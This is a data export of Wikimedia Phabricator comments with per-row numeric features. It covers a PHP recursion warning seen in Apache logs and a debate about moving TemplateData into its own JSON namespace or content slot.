     72 Warning:  Recursion detected in RequestContext::getLanguage in /usr/local/apache/common-local/php-1.23wmf2/includes/context/RequestContext.php on line 284",,,1384295661,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-u4lgntwhbwxxlocbfh5j,task_subcomment,,True,c1,3,False,,,19,,1.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,8.0,0.0,0.0,6.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.545454545454546,0.5050505050505051,"Every 2.0s: tail -n 1000 /home/wikipedia/syslog/apache.log | grep -v 'Search backend error' | grep -v -i 'swift' | grep 'PHP\|Segmentation ...  Tue Nov 12 22:33:46 2013

    240 Warning:  Recursion detected in RequestContext::getLanguage in /usr/local/apache/common-local/php-1.23wmf3/includes/context/RequestContext.php on line 284
     72 Warning:  Recursion detected in RequestContext::getLanguage in /usr/local/apache/common-local/php-1.23wmf2/includes/context/RequestContext.php on line 284"
239645,Warning:  Recursion detected in RequestContext::getLanguage in /includes/context/RequestContext.php on line 284,"Yup, there are these warnings almost always shown in the last 1000 lines of the apache syslogs",,,1384277258,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-u4lgntwhbwxxlocbfh5j,task_subcomment,,True,c1,3,False,,,19,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,6.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,6.0,6.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,0.9444444444444444,"Yup, there are these warnings almost always shown in the last 1000 lines of the apache syslogs"
239640,Warning:  Recursion detected in RequestContext::getLanguage in /includes/context/RequestContext.php on line 284,"Sam, are these still being observed, or have they gone away?",,,1384246201,,PHID-USER-w5a723w3wes6jd5wskgg,False,,,PHID-TASK-u4lgntwhbwxxlocbfh5j,task_subcomment,,True,c1,3,False,,,19,,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5714285714285716,0.9285714285714286,"Sam, are these still being observed, or have they gone away?"
239635,Warning:  Recursion detected in RequestContext::getLanguage in /includes/context/RequestContext.php on line 284,I can't do anything about this without a backtrace. Not sure how to mark that.,,,1379397762,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-u4lgntwhbwxxlocbfh5j,task_subcomment,,True,c1,3,True,,,11,,0.0,6.0,0.0,0.0,11.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,17.0,17.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,6.0,0.0,17.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,6.0,17.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,3.5555555555555554,0.9444444444444444,I can't do anything about this without a backtrace. Not sure how to mark that.
56140,"Move TemplateData to its own JSON-content namespace and associate with Template-namespace, or to its own TemplateData content model and revision slot","e.g. Template:Information could be documented at TemplateData:Information instead of inside the source code of Template:Information.

Pros:

%%%1. More standard use of ContentHandler for JSON across projects
2. Document templates without needing to make edits to templates that are potentially transcluded across large swaths of pages
3. Easier to implement custom editors for ContentHandler pages than for portions of wikitext pages.%%%

Cons:

%%%1. Would need to have two separate systems - one for the JSON storage, then another to transclude the generated documentation onto template doc pages, e.g. with <templatedata /> or {{#templatedata}} or so (no params needed, because the TemplateData namespace page can be of the same name, like a talk page)
2. Would need to rework the existing editor (sorry, mooeypoo) to work with the new system%%%

--------------------------
**See Also**: {T52512}",High,80.0,1379223360,,PHID-USER-nvavrb7ko66hv3xap6sb,False,,False,PHID-TASK-n7t7uv2o256io5ck73dn,task_description,open,True,c1,3,True,False,,10,,0.0,0.0,0.0,1.0,0.0,3.0,0.5,0.5,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,4.0,14.5,0.0,3.0,0.0,0.0,0.0,0.5,0.0,0.0,1.5,1.0,1.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,3.0,0.0,0.0,0.0,0.5,0.0,16.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,4.5,1.5,11.0,0.5,1.0,5.5,0.0,0.0,0.0,0.5,6.0,2.5,3.0,0.0,0.0,14.5,4.5,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,1.0,1.0,0.0,2.0,4.2228260869565215,0.6793478260869565,"e.g. Template:Information could be documented at TemplateData:Information instead of inside the source code of Template:Information.

Pros:

%%%1. More standard use of ContentHandler for JSON across projects
2. Document templates without needing to make edits to templates that are potentially transcluded across large swaths of pages
3. Easier to implement custom editors for ContentHandler pages than for portions of wikitext pages.%%%

Cons:

%%%1. Would need to have two separate systems - one for the JSON storage, then another to transclude the generated documentation onto template doc pages, e.g. with <templatedata /> or {{#templatedata}} or so (no params needed, because the TemplateData namespace page can be of the same name, like a talk page)
2. Would need to rework the existing editor (sorry, mooeypoo) to work with the new system%%%

--------------------------
**See Also**: {T52512}"
2132794,"Move TemplateData to its own JSON-content namespace and associate with Template-namespace, or to its own TemplateData content model and revision slot",">>! In T56140#8877796, @Jdforrester-WMF wrote:
> For the transition, certainly. Long-term, probably not, and hacks to generate the transclusion data would have to make way for proper documentation.
Having shared TemplateData between pages or generating TemplateData programmatically, which those cases cover, are legitimate uses of TemplateData and not hacks. If anything, more templates with the same parameter configurations (like, for example, navigation templates) would benefit from it if it was more widely adopted. Currently, TemplateData adoption is too low, and if anything, we should look for ways to encourage TemplateData adoption, not to discourage it.",,,1685509112,,PHID-USER-3ljmcrqixyljk2wy63jb,False,,,PHID-TASK-n7t7uv2o256io5ck73dn,task_subcomment,,True,c1,3,False,,,517,,0.0,2.0,0.0,1.0,2.0,5.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,8.0,13.0,2.0,2.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,12.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,5.0,1.0,0.0,0.0,5.0,13.0,6.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,0.0,2.0,2.0,0.0,0.0,4.858823529411764,0.6823529411764706,"QUOTE
QUOTE
Having shared TemplateData between pages or generating TemplateData programmatically, which those cases cover, are legitimate uses of TemplateData and not hacks. If anything, more templates with the same parameter configurations (like, for example, navigation templates) would benefit from it if it was more widely adopted. Currently, TemplateData adoption is too low, and if anything, we should look for ways to encourage TemplateData adoption, not to discourage it."
2132790,"Move TemplateData to its own JSON-content namespace and associate with Template-namespace, or to its own TemplateData content model and revision slot","For the record, TemplateData is also read to create automatic template examples, see https://ru.wikipedia.org/wiki/Module:TemplateDataDoc
This is not a use case that will be supported by Lua if TemplateData data gets moved to another slot, without implementing {T107119}",,,1685508575,,PHID-USER-3ljmcrqixyljk2wy63jb,False,,,PHID-TASK-n7t7uv2o256io5ck73dn,task_subcomment,,True,c1,3,False,,,517,,0.0,0.0,0.0,5.0,2.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,19.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,5.0,7.0,16.0,2.0,0.0,9.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,14.0,9.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,4.325581395348837,0.8837209302325582,"For the record, TemplateData is also read to create automatic template examples, see URL
This is not a use case that will be supported by Lua if TemplateData data gets moved to another slot, without implementing {T107119}"
2131469,"Move TemplateData to its own JSON-content namespace and associate with Template-namespace, or to its own TemplateData content model and revision slot",">>! In T56140#8877796, @Jdforrester-WMF wrote:
> Long-term, probably not, and hacks to generate the transclusion data would have to make way for proper documentation.

These are not hacks, these are proper solutions using the public API of TemplateData (a JSON blob), making template editors’ lives easier. How can this “proper documentation” be created without duplicating everything between the TemplateData-compatible documentation and the actually useful documentation (i.e. one that contains e.g. inline links)? Looking at the PoC patch, keeping support for JSON blobs in wikitext would probably need 5-10 lines of extra code, which doesn’t sound like a horrible tech debt even long-term.

MediaWiki developers seem to sometimes forget how much the community relies on templates. Parsoid doesn’t support templates emitting unbalanced wikitext. The result? Large blocks of text, sometimes even whole pages, that have to be edited in wikitext in VisualEditor, or can’t be edited at all. Structured Data on Commons doesn’t support templates at all. The result? Instead of either using or replacing wikitext, all machine-readable metadata is still present in wikitext in one form, and bots duplicate it to another form, making actual edits to pages. Please don’t do the same mistake again and again.",,,1685263240,,PHID-USER-ocqnoktaualicuvge2tu,False,,,PHID-TASK-n7t7uv2o256io5ck73dn,task_subcomment,,True,c1,3,False,,,516,,1.6666666666666667,0.3333333333333333,0.0,1.0,0.3333333333333333,6.333333333333333,0.6666666666666666,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,8.666666666666666,8.333333333333334,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.6666666666666666,4.333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,1.0,1.6666666666666667,0.0,0.0,0.0,0.3333333333333333,0.0,15.333333333333334,1.3333333333333333,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,1.0,2.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,3.6666666666666665,2.3333333333333335,8.333333333333334,0.6666666666666666,2.6666666666666665,5.666666666666667,0.0,0.0,0.0,0.0,3.6666666666666665,0.3333333333333333,1.0,0.0,0.3333333333333333,8.333333333333334,3.3333333333333335,1.0,0.0,0.0,0.3333333333333333,0.0,1.6666666666666667,0.6666666666666666,0.0,3.6666666666666665,0.3333333333333333,0.0,0.3333333333333333,4.447488584474885,0.7808219178082192,"QUOTE
QUOTE

These are not hacks, these are proper solutions using the public API of TemplateData (a JSON blob), making template editors’ lives easier. How can this “proper documentation” be created without duplicating everything between the TemplateData-compatible documentation and the actually useful documentation (i.e. one that contains e.g. inline links)? Looking at the PoC patch, keeping support for JSON blobs in wikitext would probably need 5-10 lines of extra code, which doesn’t sound like a horrible tech debt even long-term.

MediaWiki developers seem to sometimes forget how much the community relies on templates. Parsoid doesn’t support templates emitting unbalanced wikitext. The result? Large blocks of text, sometimes even whole pages, that have to be edited in wikitext in VisualEditor, or can’t be edited at all. Structured Data on Commons doesn’t support templates at all. The result? Instead of either using or replacing wikitext, all machine-readable metadata is still present in wikitext in one form, and bots duplicate it to another form, making actual edits to pages. Please don’t do the same mistake again and again."
2131467,"Move TemplateData to its own JSON-content namespace and associate with Template-namespace, or to its own TemplateData content model and revision slot","Many many templates are not documented by an individual JSON for each single template, but derived from series of JSON data generated by documentation template or Lua module, creating TemplateData for many productive templates.

German Wikipedia is documenting latin based language templates by [[ https://de.wikipedia.org/wiki/Template:lang/Latn/Doku | Template:lang/Latn/Doku ]] which provides one unique pattern for all of them ([[ https://de.wikipedia.org/w/index.php?search=hastemplate%3A%22Lang%2FLatn%2FDoku%22&title=Spezial%3ASuche&profile=advanced&fulltext=1&ns10=1 | 196 single templates ]]). The TemplateData and the entire documentation page is produced by very short transclusions like ##{{lang/Latn/Doku|CODE=lv|SPRACHE=lettischer Sprache|EXAMPLE=Rīga}}## in [[ https://de.wikipedia.org/w/index.php?title=Template:lvS&action=edit | Template:lvS ]].
[[ https://de.wikipedia.org/wiki/Category:Vorlage:Metadokumentation | Category:Vorlage:Metadokumentation ]] lists a pile (53) of such meta documentation patterns. Currently we are planning schemes which are generating full documentation pages for several 10,000 single productive templates, with heading TemplateData of course.

The concept of independent namespace for TemplateData is based on the assumption that every productive template has one static individual JSON code without any JSON code injection.",,,1685257840,,PHID-USER-3imz37uve2wfuuub5eq6,False,,,PHID-TASK-n7t7uv2o256io5ck73dn,task_subcomment,,True,c1,3,False,,,516,,3.0,0.0,0.3333333333333333,1.0,0.3333333333333333,8.333333333333334,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,1.0,8.333333333333334,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,3.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,16.666666666666668,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,2.3333333333333335,2.3333333333333335,11.0,0.3333333333333333,1.0,5.0,0.0,0.0,0.0,1.3333333333333333,0.0,0.0,2.0,0.0,0.6666666666666666,8.333333333333334,6.666666666666667,0.0,0.0,0.0,0.6666666666666666,0.0,0.6666666666666666,0.6666666666666666,0.3333333333333333,2.0,0.0,0.0,1.6666666666666667,4.515583845478489,0.7589259584430788,"Many many templates are not documented by an individual JSON for each single template, but derived from series of JSON data generated by documentation template or Lua module, creating TemplateData for many productive templates.

German Wikipedia is documenting latin based language templates by [[ URL | Template:lang/Latn/Doku ]] which provides one unique pattern for all of them ([[ URL | 196 single templates ]]). The TemplateData and the entire documentation page is produced by very short transclusions like ##{{lang/Latn/Doku|CODE=lv|SPRACHE=lettischer Sprache|EXAMPLE=Rīga}}## in [[ URL | Template:lvS ]].
[[ URL | Category:Vorlage:Metadokumentation ]] lists a pile (53) of such meta documentation patterns. Currently we are planning schemes which are generating full documentation pages for several 10,000 single productive templates, with heading TemplateData of course.

The concept of independent namespace for TemplateData is based on the assumption that every productive template has one static individual JSON code without any JSON code injection."
2129667,"Move TemplateData to its own JSON-content namespace and associate with Template-namespace, or to its own TemplateData content model and revision slot",">>! In T56140#8869098, @Tacsipacsi wrote:
> Would the current JSON structure continue to be supported?

For the transition, certainly. Long-term, probably not, and hacks to generate the transclusion data would have to make way for proper documentation.

> [[https://commons.wikimedia.org/wiki/Template:TemplateBox|c:Template:TemplateBox]] relies on being able to generate JSON to avoid unnecessarily duplicating content between the TemplateData and the wikitext description (the latter supports wiki markup, so TemplateData can’t entirely supersede it, unless TemplateData will also start to support wiki markup).

Ack, the very-intentional lack of support for wikitext (and all the horrors that entails) means some forms of documentation are hard to do. We should probably add additional fields including link targets and good- and bad-example samples to augment the structured data so that it works better for secondary use cases. That's outside the scope of this task, however.",,,1684947002,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-n7t7uv2o256io5ck73dn,task_subcomment,,True,c1,3,True,,,516,,1.5,0.0,0.5,0.0,0.5,7.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,10.5,0.0,3.0,1.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.5,1.0,4.5,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,1.0,0.0,0.5,0.0,16.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.5,0.0,4.0,1.0,5.0,2.0,3.0,7.0,0.0,0.0,0.0,0.0,4.5,0.0,0.0,0.0,2.0,10.5,0.5,0.0,0.0,0.0,2.0,0.0,0.5,0.0,0.0,1.0,1.0,0.0,0.0,4.262753319357093,0.8045073375262055,"QUOTE
QUOTE

For the transition, certainly. Long-term, probably not, and hacks to generate the transclusion data would have to make way for proper documentation.

QUOTE

Ack, the very-intentional lack of support for wikitext (and all the horrors that entails) means some forms of documentation are hard to do. We should probably add additional fields including link targets and good- and bad-example samples to augment the structured data so that it works better for secondary use cases. That's outside the scope of this task, however."
2127607,"Move TemplateData to its own JSON-content namespace and associate with Template-namespace, or to its own TemplateData content model and revision slot","Change 921693 had a related patch set uploaded (by TK-999; author: TK-999):
%%%[mediawiki/extensions/TemplateData@master] [PoC] MCR slot for TemplateData content%%%
https://gerrit.wikimedia.org/r/921693",,,1684667542,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n7t7uv2o256io5ck73dn,task_subcomment,,True,c1,3,False,,,515,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,22.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,5.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,14.0,4.27027027027027,0.8108108108108109,"Change 921693 had a related patch set uploaded (by TK-999; author: TK-999):
%%%[mediawiki/extensions/TemplateData@master] [PoC] MCR slot for TemplateData content%%%
GERRIT_URL"
2127581,"Move TemplateData to its own JSON-content namespace and associate with Template-namespace, or to its own TemplateData content model and revision slot","Would the current JSON structure continue to be supported? [[https://commons.wikimedia.org/wiki/Template:TemplateBox|c:Template:TemplateBox]] relies on being able to generate JSON to avoid unnecessarily duplicating content between the TemplateData and the wikitext description (the latter supports wiki markup, so TemplateData can’t entirely supersede it, unless TemplateData will also start to support wiki markup).",,,1684664576,,PHID-USER-ocqnoktaualicuvge2tu,False,,,PHID-TASK-n7t7uv2o256io5ck73dn,task_subcomment,,True,c1,3,False,,,515,,0.0,0.0,2.0,2.0,0.0,5.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,9.0,12.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,12.0,2.0,2.0,7.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,2.0,12.0,10.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,5.017241379310345,0.7758620689655172,"Would the current JSON structure continue to be supported? [[URL relies on being able to generate JSON to avoid unnecessarily duplicating content between the TemplateData and the wikitext description (the latter supports wiki markup, so TemplateData can’t entirely supersede it, unless TemplateData will also start to support wiki markup)."
2127544,"Move TemplateData to its own JSON-content namespace and associate with Template-namespace, or to its own TemplateData content model and revision slot",Tagging #Wikimedia-Hackathon-2023 to showcase a basic PoC created during this event.,,,1684658990,,PHID-USER-c4xszutxtrvtj73h3rns,False,,,PHID-TASK-n7t7uv2o256io5ck73dn,task_subcomment,,True,c1,3,False,,,515,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,27.0,0.0,0.0,13.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,13.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,4.933333333333334,1.0,Tagging #Wikimedia-Hackathon-2023 to showcase a basic PoC created during this event.
1200143,"Move TemplateData to its own JSON-content namespace and associate with Template-namespace, or to its own TemplateData content model and revision slot","See related approach by [[ https://www.mediawiki.org/wiki/Module:TNT | Module:TNT ]] -- it stores templatedata [[ https://commons.wikimedia.org/wiki/Data:Templatedata/Graph:Lines.tab | as a table (example) ]]. In this case <templatedata> will be dynamically generated during the parse time, and is available to every language/every wiki.",,,1545340062,,PHID-USER-esrrkc2rlizdlae443wg,False,,,PHID-TASK-n7t7uv2o256io5ck73dn,task_subcomment,,True,c1,3,False,,,285,,4.0,0.0,0.0,2.0,0.0,4.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,22.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,11.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,9.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,7.0,3.5454545454545454,0.8,"See related approach by [[ URL | Module:TNT ]] -- it stores templatedata [[ URL | as a table (example) ]]. In this case <templatedata> will be dynamically generated during the parse time, and is available to every language/every wiki."
1199675,"Move TemplateData to its own JSON-content namespace and associate with Template-namespace, or to its own TemplateData content model and revision slot","Please note that these are not static pages.
* The URI comment looks like assigning a static page which is simply transcluded.
* Entire JSON TemplateData descriptions are generated individually by template or Lua programming; depending on parameters and existence of other pages.
* You may have a look e.g. at [[ https://de.wikipedia.org/w/index.php?title=Vorlage:enS&action=edit | use of lang/Latn/Doku ]] and the derived page.",,,1545295664,,PHID-USER-3imz37uve2wfuuub5eq6,False,,,PHID-TASK-n7t7uv2o256io5ck73dn,task_subcomment,,True,c1,3,False,,,285,,0.0,0.0,0.0,3.0,1.0,5.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,5.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,1.0,16.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,5.0,4.0,14.0,1.0,4.0,8.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,1.0,9.0,8.0,0.0,0.0,0.0,1.0,0.0,1.0,3.0,0.0,3.0,0.0,0.0,1.0,4.0394736842105265,0.7763157894736842,"Please note that these are not static pages.
* The URI comment looks like assigning a static page which is simply transcluded.
* Entire JSON TemplateData descriptions are generated individually by template or Lua programming; depending on parameters and existence of other pages.
* You may have a look e.g. at [[ URL | use of lang/Latn/Doku ]] and the derived page."
1199609,"Move TemplateData to its own JSON-content namespace and associate with Template-namespace, or to its own TemplateData content model and revision slot",">>! In T56140#3143510, @PerfektesChaos wrote:
> * There are JSON objects built by template-like transclusion via ##{{#tag:}}## syntax.
> ** See [[https://de.wikipedia.org/wiki/Kategorie:Vorlage:Metadokumentation | Kategorie:Vorlage:Metadokumentation]] on German Wikipedia – a dozen of so-called “meta documentation” pattern pages is generating nearly thousand TemplateData objects on particular template pages, controlled by template name and sometimes parameters.

Interesting. json-schema allows referencing/embedding other schemas by using a special `""$ref"": ""[URI to another schema]""` key. Maybe something like that could be implemented in TemplateData instead of requiring the use of parser functions.

",,,1545275829,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-n7t7uv2o256io5ck73dn,task_subcomment,,True,c1,3,False,,,285,,0.0,2.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,12.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,16.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,12.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,0.0,0.0,0.0,4.6976744186046515,0.8372093023255814,"QUOTE
QUOTE
QUOTE

Interesting. json-schema allows referencing/embedding other schemas by using a special CODE key. Maybe something like that could be implemented in TemplateData instead of requiring the use of parser functions.

"
911940,"Move TemplateData to its own JSON-content namespace and associate with Template-namespace, or to its own TemplateData content model and revision slot",This could be held like doc subpages or currently deployed css subpages instead,,,1502648392,,PHID-USER-dcexrhjioxqqsq4pdrfe,False,,,PHID-TASK-n7t7uv2o256io5ck73dn,task_subcomment,,True,c1,3,False,,,214,,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.153846153846154,0.9230769230769231,This could be held like doc subpages or currently deployed css subpages instead
1068644,"Move TemplateData to its own JSON-content namespace and associate with Template-namespace, or to its own TemplateData content model and revision slot","I do raise two issues against the proposal, at least for mandatory evaluation of JSON pages only.
* Pro #2 reads as: “Document templates without needing to make edits to templates that are potentially transcluded across large swaths of pages”
** This goes for any kind of lengthy documentation, and is usually solved by transclusion of a separated ##/doc## into main template page.
** German Wikipedia is using that technique for any longer template documentation since 2008, and enforces TemplateData on separated docpage for all productive templates.
* There are JSON objects built by template-like transclusion via ##{{#tag:}}## syntax.
** See [[https://de.wikipedia.org/wiki/Kategorie:Vorlage:Metadokumentation | Kategorie:Vorlage:Metadokumentation]] on German Wikipedia – a dozen of so-called “meta documentation” pattern pages is generating nearly thousand TemplateData objects on particular template pages, controlled by template name and sometimes parameters.
Optional separated ##.json## subpages may be introduced, but classic ##<templatedata>## approach needs to be supported, too.
